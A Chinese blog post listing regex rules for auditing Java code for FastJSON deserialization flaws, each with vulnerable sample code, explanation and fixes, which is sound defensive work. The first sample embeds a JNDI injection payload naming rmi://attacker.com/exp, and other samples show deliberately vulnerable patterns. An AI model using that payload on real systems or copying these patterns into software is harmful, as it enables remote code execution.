🧠 FastJSON 静态代码分析规则大全
🎯 在审计时如何快速定位关键位置,可以使用下面的正则来查询,适用于 Java 代码安全审计场景,辅助你快速检测
✅ 1:检测是否显式开启 AutoType
🎯 正则
ParserConfig\.getGlobalInstance\(\)\.setAutoTypeSupport\s*\(\s*true\s*\)
描述 | 显式开启 AutoType,FastJSON 将允许任意类的反序列化 |
---|---|
危害 | 攻击者可传入 @type 加载任意类,如 TemplatesImpl 执行命令 |
建议 | 永远不要设置为 true ,并增加 addDeny 白名单限制 |
📜 示例代码
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",
\"dataSourceName\":\"rmi://attacker.com/exp\",\"autoCommit\":true}";
//传入的Json数据
Object obj = JSON.parse(json);
❗ 漏洞解释
开启 AutoType 后,攻击者可使用 @type
指定任意类,加载 Gadget 对象执行命令。如 JdbcRowSetImpl
自动连接外部 JNDI。
🛠 修复建议
- 禁止使用
setAutoTypeSupport(true)
- 配合
addDeny()
明确封禁危险类
💥 攻击方式
- 远程命令执行(JNDI 注入、BCEL 等类加载)
✅ 规则 2:宽松的全局类白名单
🎯 正则
ParserConfig\.getGlobalInstance\(\)\.addAccept\s*\(\s*".*"\s*\)
描述 | 放开某个包前缀的类名白名单限制 |
---|---|
危害 | 攻击者可以构造这个包下的 Gadget 类,导致远程代码执行 |
建议 | 严格限制白名单类(建议不放开通配符,仅允许特定类) |
📜 示例代码
ParserConfig.getGlobalInstance().addAccept("com.example.");
❗ 漏洞解释
若 com.example
包中存在如 com.example.TemplateExploit
实现了危险接口,攻击者可指定该类执行逻辑。
🛠 修复建议
- 精确到类名添加白名单,禁止通配符或包级别放行
- 建议白名单在无攻击面的类中设定(如 DTO)
💥 攻击方式
- 上传恶意类或利用现有类构造执行链
✅ 规则 3:使用 JSON.parse()
接收外部输入
🎯 正则
JSON\.parse\s*\(\s*.*request.*\)
JSON\.parse\s*\(\s*.*getParameter.*\)
描述 | 未指定目标类型的解析方式,会尝试识别 @type 类型注入 |
---|---|
危害 | 容易被用作反序列化入口,配合 Gadget 可远程执行 |
建议 | 使用 parseObject(json, Class) 明确目标类以限制行为 |
📜 示例代码
String json = request.getParameter("data");
Object obj = JSON.parse(json);
❗ 漏洞解释
JSON.parse()
未指定目标类,默认开启自动类型识别,允许传入 @type
段,反序列化任意对象。
🛠 修复建议
- 改为
JSON.parseObject(json, SafeClass.class)
- 或使用
ObjectMapper
替代,限制模型
💥 攻击方式
- 利用
@type
注入构造 Gadget - 结合通用类(TemplatesImpl、JdbcRowSetImpl)命令执行
✅ 规则 4:反序列化数据后又调用 JSON.parse
🎯 正则
JSON\.parse\s*\(\s*JSON\.parse.*\)
描述 | JSON 解析两次,攻击者可以构造嵌套类型绕过第一层 |
---|---|
危害 | 可绕过过滤、二次打链,常见于复杂 JSON 的接收逻辑 |
建议 | 禁止二次反序列化,应解析后立即绑定类处理 |
📜 示例代码
String rawJson = request.getParameter("payload");
String innerJson = (String) JSON.parse(rawJson);
Object obj = JSON.parse(innerJson);
❗ 漏洞解释
攻击者可构造两层嵌套 JSON,例如首层包裹恶意对象,绕过第一层检查,第二层触发执行。
🛠 修复建议
- 禁止嵌套 JSON 的自动解析
- 业务层拆解后手动处理字段
💥 攻击方式
- 绕过 WAF 或白名单
- 二次触发执行链
✅ 规则 5:Controller 层使用 Object
接收 JSON
🎯 正则
public .*Controller.*\(.*@RequestBody\s+Object\s+\w+.*\)
描述 | 接口参数类型过泛,FastJSON 会自动类型推断 |
---|---|
危害 | 攻击者传入恶意 @type 可导致构造危险对象 |
建议 | 接口层必须明确声明数据模型类, 不允许使用 Object 接收外部数据 |
📜 示例代码
@PostMapping("/api/parse")
public void parseJson(@RequestBody Object data) {
log.info(data.toString());
}
❗ 漏洞解释
未指定数据模型,FastJSON 会使用默认解析器,支持 @type
注入,触发反序列化。
🛠 修复建议
- 明确指定 POJO 类型,拒绝使用
Object
- 加入全局反序列化校验(如白名单过滤器)
💥 攻击方式
- 利用 FastJSON 自动识别执行恶意类型
触发FastJSON的具体原理分析 👉 Spring MVC + FastJSON:反序列化攻击是怎么一步步发生的?-极客星球
✅ 规则 6:反序列化对象未进行安全校验即转发/写入中间件
🎯 正则
JSON\.parse.*(Kafka|Redis|Rabbit|HttpClient)
描述 | 反序列化对象未进行类型/数据校验即被发送至其他系统 |
---|---|
危害 | 可导致其他服务或中间件触发反序列化 |
建议 | 所有接收/处理反序列化对象的组件需 增加前置校验(白名单 + 校验签名) |
📜 示例代码
String json = request.getParameter("payload");
Object data = JSON.parse(json);
kafkaTemplate.send("topic", data);
❗ 漏洞解释
未经校验的数据被写入中间件,可能在消费端触发危险类实例化。
🛠 修复建议
- 严格校验数据模型结构
- 禁止转发任意 Object 到 MQ、缓存等
💥 攻击方式
- 延迟执行,利用 Kafka、Redis 消费端打点
具体实例分析 👉 FastJSON + MQ 实现反序列化漏洞攻击链-极客星球
✅ 规则 7:项目中引用了高危依赖组件
🎯 正则
可结合 Maven 项目依赖分析:
Windows: mvn dependency:tree | findstr "commons-collections bcel groovy rhino xalan spring-core"
Linux: mvn dependency:tree | grep -E "commons-collections|bcel|groovy|rhino|xalan|spring-core"
描述 | 项目中引入了 Gadget 链中常见的高危组件 |
---|---|
危害 | 即使 FastJSON 安全,只要解析到了这些类, 也可能执行命令 |
建议 | 替换或升级依赖版本,移除非必要组件, 配合类黑名单限制反序列化类加载 |
📜 查询示例
![图片[1]-全网最全!FastJSON 静态规则图鉴,写了就能查!-极客星球](https://monkey.geekserver.top/wp-content/uploads/2025/04/b5b21b501920250425001039-1024x163.png)
❗ 漏洞解释
攻击者利用 FastJSON 加载这些类触发反射逻辑(如 InvokerTransformer
),构造完整 Gadget 链。
🛠 修复建议
- 移除不必要组件,升级至无 Gadget 版本
- 搭配
addDeny()
限制危险类
💥 攻击方式
- 利用 CC 链、Xalan、Groovy 等执行表达式
✅ 规则 8:调用 addDeny()
黑名单设置不完整
🎯 正则
ParserConfig\.getGlobalInstance\(\)\.addDeny\s*\(\s*".*"\s*\)
描述 | 开发者手动设置了黑名单,但名单不完整或有误 |
---|---|
危害 | 攻击者可以绕过限制,加载未封禁的危险类 |
建议 | 使用 FastJSON 官方默认黑名单,并结合实际情况补充 |
📜 示例代码
ParserConfig.getGlobalInstance().addDeny("org.apache.commons.collections.");
❗ 漏洞解释
虽然加入了部分黑名单,但若缺少如 org.apache.xalan.
, com.sun.org.apache.xalan.
等路径,依旧可能被绕过。
🛠 修复建议
- 使用 FastJSON 内置的完整黑名单
- 并根据业务需求添加其他内容
💥 攻击方式
- 利用绕过类路径调用旧链
📌 总结
维度 | 建议 |
---|---|
接口设计 | 不使用 Object 接收,避免泛解析 |
配置项 | 不开启 autoTypeSupport ,合理使用 addDeny() |
依赖管理 | 移除高危类链组件(如 CC、Xalan) |
审计辅助 | 配合 SAST + 黑盒测试验证 Gadget 是否可控 |
运维层面 | 使用安全网关过滤 @type 字段及 JNDI 字符串 |
暂无评论内容